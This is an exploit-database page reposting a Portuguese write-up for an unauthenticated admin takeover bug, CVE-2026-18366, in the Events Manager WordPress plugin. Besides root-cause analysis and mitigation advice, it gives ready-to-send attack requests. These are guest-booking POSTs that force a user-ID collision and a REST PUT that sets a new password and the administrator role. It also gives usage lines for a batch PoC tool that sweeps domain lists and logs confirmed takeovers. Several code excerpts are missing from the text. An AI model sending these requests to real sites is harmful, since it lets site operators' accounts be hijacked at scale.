Sploitus

Exploit for CVE-2026-18366

kitploit · 2026-08-24

Exploit Code

MARKDOWN151 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GHOSTPELS-CVE-2026-18366
# CVE-2026-18366 — Events Manager < 7.4.1: Escalação de Privilégios Não Autenticada para Administrador

|   
---|---  
**Produto**|  Events Manager (plugin WordPress)  
**Versões afetadas**|  7.1.0 – 7.4.0.x  
**Versão corrigida**|  7.4.1  
**Fraqueza**|  CWE-269: Improper Privilege Management  
**Severidade**|  CVSS 3.1: **9.8 (Crítica)** — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`  
**ID WPVDB**| 82767ce2-01e4-46ad-a52b-72d3ab2049bd  
**Pesquisador original**| Jakub Herman  
**Write-up e PoC**|  ghostpel  
  
## Linha do tempo da divulgação

  * **2026-08-03** — Events Manager 7.4.1 lançado com a correção (lançamento de segurança do fornecedor).
  * **2026-08-12** — Publicada a entrada no IONIX Threat Center.
  * **2026-08-21** — Este write-up e prova de conceito (`poc.py`).



## Resumo

As versões 7.1.0 a 7.4.0.x do Events Manager contêm uma vulnerabilidade de escalada de privilégios que permite a um **atacante completamente não autenticado** assumir o controle de qualquer conta de usuário cujo ID colida com o ID de um dos posts do próprio plugin (event / location / event-recurring / location-recurring). A colisão pode ser **forçada** em sites com reservas de convidados (guest bookings) habilitadas (o padrão): cada reserva de convidado cria uma conta de usuário real e avança o contador de autoincremento do `wp_users` em um, permitindo que um atacante "caminhe" pelo espaço de IDs de usuário até atingir um ID de post de event/location.

A causa raiz: o filtro `map_meta_cap` do plugin **descarta a lista de capacidades que o WordPress já havia calculado** (`$caps = []`) para _qualquer_ meta capacidade, sempre que o ID do objeto da capacidade resolve para um post de event/location — incluindo capacidades do núcleo do WordPress, como `edit_user`, `delete_user`, `promote_user` e `remove_user`. Uma lista de capacidades vazia é interpretada como "nenhuma capacidade necessária" — ou seja, **permitido para todos, incluindo usuários desconectados**.

Consequências (todas não autenticadas, via API REST do WP): alterar a senha de qualquer conta em colisão, escaloná-la para `administrator` ou excluí-la.

Versão analisada: **7.4.0.1** (vulnerável) — comparada (diff) com **7.4.1** (corrigida).

## Versões afetadas

Versão| Status  
---|---  
≤ 7.0.5| Não afetada (o legado `em_map_meta_cap` lida apenas com as capacidades próprias do EM)  
**7.1.0 – 7.4.0.x**|  (o sistema de arquétipos com o  defeituoso foi introduzido na versão 7.1.0)  
  
## Causa raiz — `map_meta_cap` esvazia `$caps`

`classes/em-archetypes.php` (versão 7.4.0.1):

**Consequência:** toda verificação de `current_user_can('edit_user', X)` / `delete_user` / `promote_user` / `remove_user` retorna **TRUE** sempre que `X` é igual ao ID de um post de event/location. O plugin "descarta as decisões de controle de acesso que o WordPress já havia tomado" — exatamente como descrito pelo WPScan.

### A correção na versão 7.4.1

Verificado comparando (diff) 7.4.0.1 com 7.4.1: a redefinição agora é protegida por uma correspondência exata de capacidade por ramo (ex.: `&& $c['read'][$post->post_type] == $cap`), portanto `$caps` só é esvaziado quando a capacidade solicitada é realmente uma meta-capacidade de arquétipo. Comentário do patch: _"Redefinir em qualquer capacidade que carregue objeto esvaziava a lista de requisitos para capacidades não relacionadas (ex.: edit_user, promote_user), o que era interpretado como permissão."_

## Impacto — operações administrativas expostas do núcleo do WordPress (sem login, via API REST)

Os endpoints REST de Usuários (`/wp-json/wp/v2/users/{id}`) não possuem barreira global de login — o controle de acesso é feito puramente por callbacks de permissão, todos passando pelo mesmo filtro `map_meta_cap`:

Efeito colateral: `edit_comment` também é afetado quando um **ID de comentário** coincide com um ID de post de event/location (a tabela `wp_comments` compartilha o espaço numérico).

## Forçando a colisão de ID via reserva de convidado (ponto de entrada)

A colisão existe porque `wp_users.ID` e `wp_posts.ID` são sequências de autoincremento independentes que inevitavelmente se sobrepõem. Reservas de convidados forçam essa colisão:

  * **`em-install.php:896`** — `dbem_bookings_anonymous = 1`: reservas de convidados **habilitadas por padrão** ; `:871` `dbem_bookings_registration_disable = 0` (registro habilitado).
  * **`em-actions.php:340-344`** — `booking_add` está em `$booking_nopriv_actions` → chamável **sem login** (via `wp_ajax_nopriv_booking_add`, prioridade 999999, linhas `:817-830`, ou `wp_loaded` `:11`).
  * **`em-actions.php:360-375`** — fluxo do `booking_add`:  →  →  →  → . (O nonce é apenas proteção contra CSRF — o nonce  é renderizado no formulário público de reserva, portanto qualquer pessoa pode obtê-lo.)



Cadeia secundária observada durante a auditoria (atribuição de reserva via `person_id`) — `events-manager.php:430-437` (`em_load_event`, `$EM_Person` a partir de `$_REQUEST['person_id']` sem login), `em-booking.php:1060-1072` (`get_person()` sobrescreve o `person_id` de uma nova reserva), `em-booking.php:2004-2006` (`can_manage()` = TRUE para uma reserva sem ID), `em-functions.php:448-449` — **inalterado na versão 7.4.1** ; é um vetor separado (atribuição incorreta de reserva), não o núcleo deste CVE.

## Exploração (não autenticada)

  1. **Determine o ID alvo.** Enumere os IDs de posts públicos de event/location (permalinks, feeds, `/wp-json/wp/v2/event` ou força bruta sequencial de IDs). Digamos que o alvo seja `N`.

  2. **(Opcional — forçando a colisão)** Envie reservas de convidado repetidas para que a próxima conta receba o ID `N`:

root@kitploit:~
         
         POST /wp-admin/admin-ajax.php?action=booking_add
           event_id=<E>&em_tickets[<T>][spaces]=1
           &user_email=attacker%40mail.com&user_name=Attacker
           &_wpnonce=<nonce from the public booking form>
         

Cada POST → uma nova conta; a conta com ID `N` pertence ao atacante (a senha é enviada por e-mail para o endereço do atacante).

  3. **Escale para Administrador e altere a senha:**

root@kitploit:~
         
         PUT /wp-json/wp/v2/users/N
         Content-Type: application/json
         {"password":"Pwned123!","roles":["administrator"]}
         

Os callbacks de permissão `edit_user` \+ `promote_user` passam porque `get_post(N)` resolve para um post de event/location → `$caps = []`. (Se uma  — ex.: um administrador antigo — já possui o ID  colidindo com um ID de post de event, o passo 2 é desnecessário; o atacante assume diretamente essa conta.)




## Requisitos

  * Events Manager 7.1 – 7.4.0.x instalado e ativo (os CPTs `event`/`location` registrados).
  * Pelo menos um post de event/location (o ID dele é a chave da colisão).
  * Reservas de convidados habilitadas (padrão) — necessárias apenas para **forçar** a colisão; sites que por acaso tenham uma conta cujo ID seja igual a um ID de post de event/location são diretamente atacáveis via REST.



## Prova de Conceito — `poc.py`

`poc.py` é um PoC assíncrono em lote (asyncio + aiohttp) que, por alvo: obtém a impressão digital da versão do EM (restrita à faixa vulnerável `[7.1, 7.4.1)`), descobre IDs de posts do EM acessíveis externamente (sitemap do WP → `/locations/`, opcionalmente um rastreamento do formulário de reserva), testa os IDs descobertos quanto à existência de uma conta de usuário (a condição de colisão) e escalona aqueles que colidem — via canal REST, ou pelo canal wp-admin quando uma sessão é fornecida e o REST está bloqueado. Sem varredura cega de faixa de usuários, sem reservas de convidados, sem criação de contas.

O executor multiplexa todo o I/O em um único event loop (quase 0% de CPU quando limitado por I/O; `-t` limita a concorrência em vez de núcleos), verifica apenas blocos limitados de 64 KiB no início (head) no loop, transfere análises pesadas (XML do sitemap, pacote da página rastreada, formulário de perfil) para threads de trabalho via `asyncio.to_thread` e aplica o atraso de polidez em cada tentativa de página. A lógica de forçar a colisão em si permanece inalterada (mesmas barreiras, mesmos oráculos, mesma verificação).

root@kitploit:~
    
    
    py -3 poc.py -l domains.txt                     # batch (defaults: hasil.txt + id-post.txt)
    py -3 poc.py -l domains.txt -t 50 -v
    py -3 poc.py https://target.example -v          # single domain
    py -3 poc.py -l domains.txt --crawl             # add booking-page crawl discovery
    py -3 poc.py -l domains.txt --wp-login sub --wp-password 'Pass1!' \
        --wp-session 'wordpress_logged_in_abc=...'  # wp-admin fallback channel
    

Requisitos: Python 3.9+, `pip install aiohttp`.

Os resultados são transmitidos para `hasil.txt` (assunções de controle confirmadas) e `id-post.txt` (todo domínio vulnerável onde IDs de posts do EM foram descobertos, com `collision=yes/no/unknown`).

**Nota:** este PoC foi reconstruído de forma independente a partir da análise estática do código-fonte da versão 7.4.0.1 e do diff do patch da 7.4.1 — ele _não_ é o PoC do WPScan.

> **SOMENTE TESTES DE SEGURANÇA AUTORIZADOS.** Execute exclusivamente contra sistemas que você possua ou para os quais tenha permissão explícita por escrito para testar. O PoC realiza requisições HTTP simples — sem evasão; pode ser visível em logs/IDS.

## Mitigação

  * **Atualize para o Events Manager 7.4.1 ou posterior.**
  * Provisoriamente: desative reservas de convidados (`dbem_bookings_anonymous`), restrinja os endpoints REST de usuários no nível do WAF e monitore alterações de senha, escalonamentos de função e exclusões de contas.



## Créditos

  * Descoberta da vulnerabilidade: **Jakub Herman** (creditado pelo WPScan)
  * Write-up e PoC: **ghostpel**



## Referências

  * WPScan: https://wpscan.com/vulnerability/82767ce2-01e4-46ad-a52b-72d3ab2049bd/
  * IONIX Threat Center: https://www.ionix.io/threat-center/cve-2026-18366/
  * VulDB: https://vuldb.com/cve/CVE-2026-18366
  * OpenCVE: https://app.opencve.io/cve/CVE-2026-18366
  * Stack.watch: https://stack.watch/vuln/CVE-2026-18366/